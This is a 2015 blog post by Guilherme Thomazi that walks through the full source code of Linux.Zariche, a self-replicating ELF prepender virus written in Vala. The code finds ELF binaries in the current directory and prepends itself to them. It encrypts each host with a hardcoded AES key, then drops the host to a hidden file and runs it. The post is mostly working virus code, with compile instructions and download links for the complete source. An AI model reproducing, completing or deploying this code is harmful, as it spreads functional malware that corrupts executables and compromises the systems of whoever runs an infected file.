# Linux.Zariche: a Vala virus

guitmz.com/vala-virus

Guilherme Thomazi April 10, 2015

9 minute read Published: 10 Apr, 2015

> Simple prepender virus written in Vala

Vala is an object-oriented programming language with a self-hosting compiler that generates C code and uses the GObject system. Vala is syntactically similar to C# and and rather than being compiled directly to assembly or to another intermediate language, Vala is source-to-source compiled to C, which is then compiled with a platform's standard C compiler, such as GCC.

You can also create VAPI files which are basically native C (not C++) functions you can import to Vala code (I will show an example later). Being a language that is converted into plain and pure C, Vala code can also run on Windows (with the necessary code optimizations, of course).

Anyway I was decided to write a prepender in this language, the first (binary) virus ever written so far in Vala. It's named Linux.Zariche and there are two variants available so far.

- Linux.Zariche.A original release, simple ELF infector (prepender).
- Linux.Zariche.B uses AES encryptation via external library (vapi).

I will explain parts of the code and then add a download link for the full file below (you can check the GitHub repository too at https://github.com/guitmz/vala-zariche). Shall we start?

The very first thing I'm going to do is to declare my global variables and specify the library I'm using for most of the functions, which is **libgee**. I'm also importing the native C **exit()** function as you can see.

```
using Gee;

uint8[] virbytes;
uint8[] hostbytes;
uint8[] allbytes;
uint8[] tempbytes;
string etag_out;
string etag_outhost;
size_t bytes_written;

extern void exit(int exit_code);
```

Now let's take a look at the main function here

```
    int main(string[] args) {

    int i = 0; //file counter
    bool marked;
    string virName = GLib.Path.get_basename(args[0]); //get virus basename

    var file = File.new_for_path(virName);
    file.load_contents(null, out virbytes, out etag_out); //load virus bytes

    int virsize = GetSize(file.get_path());
    var list = new ArrayList(); //creates a list
    var directory = File.new_for_path("."); //create a variable for the current
directory
    var enumerator = directory.enumerate_children(FileAttribute.STANDARD_NAME, 0);
//enum by file name

    FileInfo file_info; //file info variable
    while ((file_info = enumerator.next_file()) != null) { //check all the files in
folder
        if(isELF(file_info.get_name())) { //if ELF
            list.add(file_info.get_name()); //add to list
            i++; //increase counter
            }
        }

    list.remove(virName); //removes current file from list to prevent issues
    if(i > 0) { //if we have ELF files in folder
        foreach(string s in list) { //for every ELF file in list
            marked = CheckMark(s); //check if is already marked a.k.a. infected
            if(!marked) {
                Infect(s); //if file is not marked, infect
                }
            }
        }

    if(virsize > 38727) { //if current file size is bigger than the virus itself, its
an infected file
        RunHost(virName); //so we run only the host code now
    }
    else {
        exit(0); //smell ya later!
    }

    return 0;
}
```

Nothing fancy here. There are comments in the code but I will briefly explain the core of the virus.

1.0 Loads itself into a variable and gets self size

```
 string virName = GLib.Path.get_basename(args[0]); //get virus basename
 var file = File.new_for_path(virName);
 file.load_contents(null, out virbytes, out etag_out); //load virus bytes
 int virsize = GetSize(file.get_path());
```

2.0 Creates a list of all ELF files in the current directory (excluding itself, of course)

```
var list = new ArrayList(); //creates a list
var directory = File.new_for_path("."); //create a variable for the current directory
var enumerator = directory.enumerate_children(FileAttribute.STANDARD_NAME, 0); //enum
by file name
FileInfo file_info; //file info variable
        while ((file_info = enumerator.next_file()) != null) { //check all the files
in folder
                if(isELF(file_info.get_name())) { //if ELF
                        list.add(file_info.get_name()); //add to list
                        i++; //increase counter
                }
        }
    list.remove(virName); //removes current file from list to prevent issues
```

2.1 Here's the function to check if the file is a valid ELF, it reads the magic number of the file to determinate if is what its looking for

```
bool isELF(string f) {
                uint32 ELF_signature = 0x464c457f; //0x464c457f means ".ELF"
                var file = File.new_for_path(f); //create the file variable
                var file_stream = file.read(); //reading the file into a stream
                var data_stream = new DataInputStream(file_stream); //data stream
with the data read from file
                data_stream.set_byte_order(DataStreamByteOrder.LITTLE_ENDIAN); //byte
order = little endian
                uint32 signature = data_stream.read_uint32(); //defines a signature
variable - uint 32bits
                //check if is a valid ELF file by it's signature
                if (signature == ELF_signature) {
                        return true; //OMG it's an ELF!
                }
                else
                        return false; //dafuq bro, this is no ELF!
        }
```

- 3.0 Now its decide which ELF files to process by checking if they are already infected

```
if(i > 0) { //if we have ELF files in folder
        foreach(string s in list) { //for every ELF file in list
            marked = CheckMark(s); //check if is already marked a.k.a. infected
            if(!marked) {
                Infect(s); //if file is not marked, infect
                }
            }
        }
    if(virsize > 38727) { //if current file size is bigger than the virus
itself, its an infected file
        RunHost(virName); //so we run only the host code now
    }
    else {
        exit(0); //smell ya later!
    }
```

- 3.0.1 Function to get file size

```
int GetSize(string f) {

    var file = File.new_for_path(f);
    file.load_contents(null, out tempbytes, out etag_outhost); //load host bytes
    Bytes bytes = new Bytes(tempbytes); //load all bytes a.k.a virus + host
    int size = bytes.length; //get full elf size

    return size;
}
```

3.1 What I'm using to check for the infection mark, thanks again to slek a.k.a. MitterAngel. It goes byte by byte checking for the pattern

```
bool CheckMark(string f) { //thanks to slek
                uint8[] buf;
                string tag;
                var file = File.new_for_path(f); //opens file
                file.load_contents (null, out buf, out tag); //loads file into memory
and returns a byte array with its content

                Bytes bytes = new Bytes(buf); //create a byte var based in the above
array
                size_t size = bytes.get_size(); //get the size of the bytes

                string _mark = "=TMZ="; //infection mark
                for (int x = 1; x < size; ++x)
                {
                        if (buf[x] == _mark[0])
                      {
                          int y;
                    for (y = 1; y < _mark.length; ++y)
                      {
                              if ((x + y) >= size)
                              break;
                              if (buf[x + y] != _mark[y])
                              break;
                            }
                    if (y == _mark.length)
                        {
                        return true; //infected!
                        }
                  }
          }
         return false; //not infected
        }
```

3.2 The infection routine with AES (the VAPI is available for download below). Creates a new file with virus content + encrypted host content

```
void Infect(string f) {
                var file = File.new_for_path(f);
                file.load_contents(null, out hostbytes, out etag_outhost); //load
host bytes
                FileIOStream ios = file.open_readwrite(); //open host for writting
                FileOutputStream os = ios.output_stream as FileOutputStream; //sets
an output stream
                os.seek (0, SeekType.SET); //make sure we are at the beggining of the
file

                uint8[] key = "abcdefghijklmnop".data; //16bit key
                uint8[] iv = "0123456789101112".data; //16bit iv
                uint8[] hostbytes_aes = aes_enc(key, iv, hostbytes);

                os.write_all(virbytes, out bytes_written); //write virus bytes to
position 0 (prepender)
                os.write_all(hostbytes_aes, out bytes_written); //write host bytes
right after virus ending
}
```

3.4 AES encryption (Using the Nettle VAPI)

```
public uint8[] aes_enc(uint8[] key, uint8[] iv, uint8[] data)
        {
                return_if_fail(iv.length == Nettle.AES_BLOCK_SIZE);

                // nettle overrites the iv, so make a copy
                uint8[] iv_copy = {};
                iv_copy.resize(iv.length);
                Posix.memcpy(iv_copy, iv, iv.length);

                var encrypt_part = data.length / Nettle.AES_BLOCK_SIZE;
                encrypt_part *= Nettle.AES_BLOCK_SIZE;

                var aes = Nettle.AES();
                aes.set_encrypt_key(key.length, key);
                uint8[] result = {};
                result.resize(data.length);

                Nettle.cbc_encrypt(&aes, aes.encrypt, Nettle.AES_BLOCK_SIZE, iv_copy,
encrypt_part, result, data);

                if (encrypt_part != data.length)
                        Posix.memcpy(&result[encrypt_part], &data[encrypt_part],
data.length - encrypt_part);

                return result;
        }
```

3.5 Running the host: it will read the host bytes and create a hidden file (semi random name to avoid problems) with its content. Later it will run the dropped host file, waiting for it to finish to return to the virus execution

```
void RunHost(string current) {

                int random = Random.int_range(1, 100);
                string hostbytes = ".hostbytes" + random.to_string(); //hidden file
with random pattern in name
                var host = File.new_for_path(hostbytes); //create empty hidden
hostfile
                var host_created = host.create(FileCreateFlags.NONE);
                var infected_file = File.new_for_path(current); //get contents of
whole file (virus + host)
                infected_file.load_contents (null, out allbytes, out etag_out);

                FileStream stream = FileStream.open(infected_file.get_path(), "r");
//open current file stream
                assert(stream != null);
                int sizeall = GetSize(infected_file.get_path());
                int hostsize = sizeall - 38727; //host size must be the full elf size
- 11111 (virus size)
                stream.seek(38727, FileSeek.SET); //set stream to the begin of the
host bytes

                // load content:
                uint8[] buf_aes = new uint8[hostsize]; //read host content into a
byte buffer
                size_t read = stream.read(buf_aes, 1);
                assert (hostsize == read); //keep reading byte per byte until it
finishes the entire file
                uint8[] key = "abcdefghijklmnop".data;
                uint8[] iv = "0123456789101112".data;
                uint8[] buf = aes_dec(key, iv, buf_aes);

                var dos = new DataOutputStream(host_created); //write buffer to new
file with only the host code
                dos.write_all(buf, out bytes_written);
                stream.flush(); // make sure data is written to our file
                dos.close();

                GLib.FileUtils.chmod(hostbytes, 0755); //give the host file exec
permission
                try {
                Process.spawn_command_line_async("./" + hostbytes); //run the host
and waits for it to finish
                }
                catch (SpawnError e) {
                stderr.printf ("%s\n", e.message); //there is no room for errors
here!
                }
                try {
                host.delete (); //delete the hidden host file after its execution
                }
                catch (Error e) {
                stdout.printf ("Error: %s\n", e.message);
                }
        }
```

### 3.6 AES decryption

```
public uint8[] aes_dec(uint8[] key, uint8[] iv, uint8[] data)
        {
                return_if_fail(iv.length == Nettle.AES_BLOCK_SIZE);

                // nettle overrites the iv, so make a copy
                uint8[] iv_copy = {};
                iv_copy.resize(iv.length);
                Posix.memcpy(iv_copy, iv, iv.length);

                var decrypt_part = data.length / Nettle.AES_BLOCK_SIZE;
                decrypt_part *= Nettle.AES_BLOCK_SIZE;

                var aes = Nettle.AES();
                aes.set_decrypt_key(key.length, key);
                uint8[] result = {};
                result.resize(data.length);

                Nettle.cbc_decrypt(&aes, aes.decrypt, Nettle.AES_BLOCK_SIZE, iv_copy,
decrypt_part, result, data);

                if (decrypt_part != data.length)
                        Posix.memcpy(&result[decrypt_part], &data[decrypt_part],
data.length - decrypt_part);

                return result;
        }
```

That was it, function by function. Now the Nettle VAPI library for AES, here it is

```
namespace Nettle
{
        [CCode (has_target = false)]
        public delegate void CryptFunc(void* ctx, uint length, uint8* dst, uint8*
src);

        [CCode (cname = "struct aes_ctx", cprefix = "aes_", cheader_filename =
"nettle/aes.h")]
        public struct AES
        {
                public void set_encrypt_key(uint length, uint8* key);
                public void set_decrypt_key(uint length, uint8* key);
                public void invert_key(AES *src);
                public void encrypt(uint length, uint8* dst, uint8* src);
                public void decrypt(uint length, uint8* dst, uint8* src);
        }

        [CCode (cname = "cbc_encrypt", cheader_filename = "nettle/cbc.h")]
        public void cbc_encrypt(void* ctx, CryptFunc f, uint block_size, uint8* iv,
uint length, uint8* dst, uint8* src);

        [CCode (cname = "cbc_decrypt", cheader_filename = "nettle/cbc.h")]
        public void cbc_decrypt(void* ctx, CryptFunc f, uint block_size, uint8* iv,
uint length, uint8* dst, uint8* src);

        [CCode (cname = "AES_BLOCK_SIZE", cheader_filename = "nettle/aes.h")]
        public const int AES_BLOCK_SIZE;
}
```

Compilation instructions are the following (tested on a x86_64 system, but should work on x86):

> valac filename.vala –pkg=gee-1.0 –pkg=gio-2.0 –pkg=nettle –pkg=posix

Where Vala >= 0.20. In order to use the –pkg=nettle flag, place your nettle.vapi file inside Vala's library folder, usually something like **/usr/share/vala-0.20/vapi** for example.

Download links:

- Linux.Zariche.B source: http://vx.thomazi.me/zariche.vala
- Nettle VAPI: http://vx.thomazi.me/nettle.vapi

TMZ